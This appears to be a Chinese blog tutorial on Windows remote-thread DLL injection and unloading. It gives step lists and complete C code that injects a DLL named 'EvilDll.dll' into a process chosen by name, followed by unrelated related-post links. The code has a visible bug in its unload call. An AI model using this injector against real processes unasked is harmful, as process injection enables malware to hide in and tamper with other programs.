注入Dll:

1,OpenProcess获得要注入进程的句柄

2,VirtualAllocEx在远程进程中开辟出一段内存,长度为strlen(dllname)+1;

3,WriteProcessMemory将Dll的名字写入第二步开辟出的内存中。

4,CreateRemoteThread将LoadLibraryA作为线程函数,参数为Dll的名称,创建新线程

5,CloseHandle关闭线程句柄

卸载Dll:

1,CreateRemoteThread将GetModuleHandle注入到远程进程中,参数为被注入的Dll名

2,GetExitCodeThread将线程退出的退出码作为Dll模块的句柄值。

3,CloseHandle关闭线程句柄

3,CreateRemoteThread将FreeLibraryA注入到远程进程中,参数为第二步获得的句柄值。

4,WaitForSingleObject等待对象句柄返回

5,CloseHandle关闭线程及进程句柄。

  1. //Code By Pnig0s1992
  2. //Date:2012,3,13
  3. #include <stdio.h>
  4. #include <Windows.h>
  5. #include <TlHelp32.h>
  6. DWORD getProcessHandle(LPCTSTR lpProcessName)//根据进程名查找进程PID
  7. {
  8. DWORD dwRet = 0;
  9. HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
  10. if(hSnapShot == INVALID_HANDLE_VALUE)
  11. {
  12. printf("\n获得进程快照失败%d",GetLastError());
  13. return dwRet;
  14. }
  15. PROCESSENTRY32 pe32;//声明进程入口对象
  16. pe32.dwSize = sizeof(PROCESSENTRY32);//填充进程入口对象大小
  17. Process32First(hSnapShot,&pe32);//遍历进程列表
  18. do
  19. {
  20. if(!lstrcmp(pe32.szExeFile,lpProcessName))//查找指定进程名的PID
  21. {
  22. dwRet = pe32.th32ProcessID;
  23. break;
  24. }
  25. } while (Process32Next(hSnapShot,&pe32));
  26. CloseHandle(hSnapShot);
  27. return dwRet;//返回
  28. }
  29. INT main(INT argc,CHAR * argv[])
  30. {
  31. DWORD dwPid = getProcessHandle((LPCTSTR)argv[1]);
  32. LPCSTR lpDllName = "EvilDll.dll";
  33. HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION|PROCESS_VM_WRITE,FALSE,dwPid);
  34. if(hProcess == NULL)
  35. {
  36. printf("\n获取进程句柄错误%d",GetLastError());
  37. return -1;
  38. }
  39. DWORD dwSize = strlen(lpDllName)+1;
  40. DWORD dwHasWrite;
  41. LPVOID lpRemoteBuf = VirtualAllocEx(hProcess,NULL,dwSize,MEM_COMMIT,PAGE_READWRITE);
  42. if(WriteProcessMemory(hProcess,lpRemoteBuf,lpDllName,dwSize,&dwHasWrite))
  43. {
  44. if(dwHasWrite != dwSize)
  45. {
  46. VirtualFreeEx(hProcess,lpRemoteBuf,dwSize,MEM_COMMIT);
  47. CloseHandle(hProcess);
  48. return -1;
  49. }
  50. }else
  51. {
  52. printf("\n写入远程进程内存空间出错%d。",GetLastError());
  53. CloseHandle(hProcess);
  54. return -1;
  55. }
  56. DWORD dwNewThreadId;
  57. LPVOID lpLoadDll = LoadLibraryA;
  58. HANDLE hNewRemoteThread = CreateRemoteThread(hProcess,NULL,0,(LPTHREAD_START_ROUTINE)lpLoadDll,lpRemoteBuf,0,&dwNewThreadId);
  59. if(hNewRemoteThread == NULL)
  60. {
  61. printf("\n建立远程线程失败%d",GetLastError());
  62. CloseHandle(hProcess);
  63. return -1;
  64. }
  65. WaitForSingleObject(hNewRemoteThread,INFINITE);
  66. CloseHandle(hNewRemoteThread);
  67. //准备卸载之前注入的Dll
  68. DWORD dwHandle,dwID;
  69. LPVOID pFunc = GetModuleHandleA;//获得在远程线程中被注入的Dll的句柄
  70. HANDLE hThread = CreateRemoteThread(hProcess,NULL,0,(LPTHREAD_START_ROUTINE)pFunc,lpRemoteBuf,0,&dwID);
  71. WaitForSingleObject(hThread,INFINITE);
  72. GetExitCodeThread(hThread,&dwHandle);//线程的结束码即为Dll模块儿的句柄
  73. CloseHandle(hThread);
  74. pFunc = FreeLibrary;
  75. hThread = CreateRemoteThread(hThread,NULL,0,(LPTHREAD_START_ROUTINE)pFunc,(LPVOID)dwHandle,0,&dwID); //将FreeLibraryA注入到远程线程中去卸载Dll
  76. WaitForSingleObject(hThread,INFINITE);
  77. CloseHandle(hThread);
  78. CloseHandle(hProcess);
  79. return 0;
  80. }
  81. http://blog.51cto.com/pnig0s1992/804484

Dll注入经典方法完整版相关推荐

  1. lut及3D LUT Mac调色预设如何导入并应用?关于fcpx/PR/AE/PS/LR/达芬奇lut预设导入及使用方法完整版介绍!

    lut预设是很多设计师用来编辑视频后期色调和图像调色的插件,通过使用LUT可以迅速达到很好的胶片质感和色彩,在此基础上稍作调整就能呈现很赞的色彩风格,lut预设格式为.cube.那么lut预设怎么用? ...

  2. ipconfig使用方法完整版

    iPConfig是查看本机ip网络配置,排除本机网络故障必用的一个DOS命令. 在"开始"菜单项中的"运行"或搜索栏中输入"cmd",确定或 ...

  3. 30本pdf完整版的经典Linux学习和开发教程和资料下载 android arm java 资料大全

    史上最牛的Linux内核学习方法论   点击下载 我的arm_linux移植笔记   点击下载 S3C2440完全开发流程   点击下载 Linux系统命令及其使用详解完整版   点击下载 Linux ...

  4. 30本pdf完整版的经典Linux学习和开发教程和资料下载 android arm java 资料大全...

    史上最牛的Linux内核学习方法论 点击下载 我的arm_linux移植笔记 点击下载 S3C2440完全开发流程 点击下载 Linux系统命令及其使用详解完整版 点击下载 Linux主要shell命 ...

  5. 2020-11-23(Windows系统的dll注入 )

    一.什么是dll注入 在Windows操作系统中,运行的每一个进程都生活在自己的程序空间中(保护模式),每一个进程都认为自己拥有整个机器的控制权,每个进程都认为自己拥有计算机的整个内存空间,这些假象都 ...

  6. Windows核心编程_远线程方式实现Dll注入

    之前有介绍过HOOK的方式注入,这次介绍以其它方式注入,而无须HOOK,要知道在Windows这个浩荡的海洋里,API就是宝藏,找到足够多的宝藏那么你就是海贼王~! 实现思路如下: 首先打开一个进程的 ...

  7. c++实现DLL注入的几种方式

    经过几天的折腾,找到了几个dll注入的方法,但是不意外的是,都暂时没法注入到LOL中,毕竟有进程保护在那,OpenProcess这一步就直接被拒绝了,提升Debug权限也没用,下面记录一些代码,希望能 ...

  8. python注入_Python——dll注入

    dll攻击原理分析 什么是dll 动态链接库,是在微软Windows操作系统中实现共享函数库概念的一种方式. 这些库函数的扩展名是 ".dll".".ocx"( ...

  9. 实战dll注入(原理, 踩坑及排雷)

    摘要 使用vs2019编写注入器程序, 在生成的注入器可用前, 踩了不少坑, 因此记录一下. 本文涉及三种恶意代码注入方法: 直接dll注入, 反射式dll注入, 镂空注入. 之所以选这三种注入方法, ...

最新文章

  1. unity导出工程导入到iOS原生工程中详细步骤
  2. 获得邮件列表失败_新手在批发交易中会失败的5个领域
  3. JSP第四篇【EL表达式介绍、获取各类数据、11个内置对象、执行运算、回显数据、自定义函数、fn方法库】...
  4. 获取XML的文件信息
  5. Python 数据分析三剑客之 Pandas(十):数据读写
  6. Quartz2D指定显示范围
  7. 当OpenOrg和OpenGov发生冲突时
  8. 2-7 hash(2)
  9. OSChina 周日乱弹 —— 普通人如何面对持刀歹徒
  10. mobi 转 PDF最新方法 2017/11/21亲测可用
  11. 2003 r2 远程管理html,掌握Win Server 2008的WinRM远程管理
  12. ZeroMQ文档白嫖:一文述完ZeroMQ的套接字选项
  13. 0xC0000005: 读取位置 0x00000000 时发生访问冲突
  14. 有 1000 瓶药物,但是其中有一瓶是有毒的,老鼠只要服用任意量有毒药水就会在一个星期内死掉!请问,在一个星期后找出有毒的药物,最少需要多少只小白鼠?
  15. ubuntu修改u盘权限_Ubuntu下的U盘只读文件系统,该图标已锁定,表明无法对其进行修改...
  16. Freeswitch 对接 unimrcpserver ASR调用
  17. RB-tree性质理解
  18. mysql插入百万级_百万级数据插入mysql
  19. Java使用RSA算法实现安全登录
  20. ONVIF工具使用说明

热门文章

  1. 民生银行IT运维架构管理可视化实践
  2. 了解这些电源知识能提高机房供电可靠性
  3. centos修改mysql密码_WAMP下修改MYSQL数据库密码
  4. Pytorch:深度学习中pytorch/torchvision版本和CUDA版本最正确版本匹配、对应版本安装之详细攻略
  5. ETH:Windows搭建ETH(区块链技术)利用Web端和小程序端两种方式调用ETH上的SC智能合约
  6. TF之LSTM:利用多层LSTM算法对MNIST手写数字识别数据集进行多分类
  7. 成功解决xgboost.core.XGBoostError: b'[20:58:45] C:\\Users\\Administrator\\Desktop\\xgboost\\dmlc-core\\s
  8. Python之tkinter:动态演示调用python库的tkinter带你进入GUI世界(Scale/Scale的Command)
  9. Javacript Remove Elements from Array
  10. OFDM同步算法之Park算法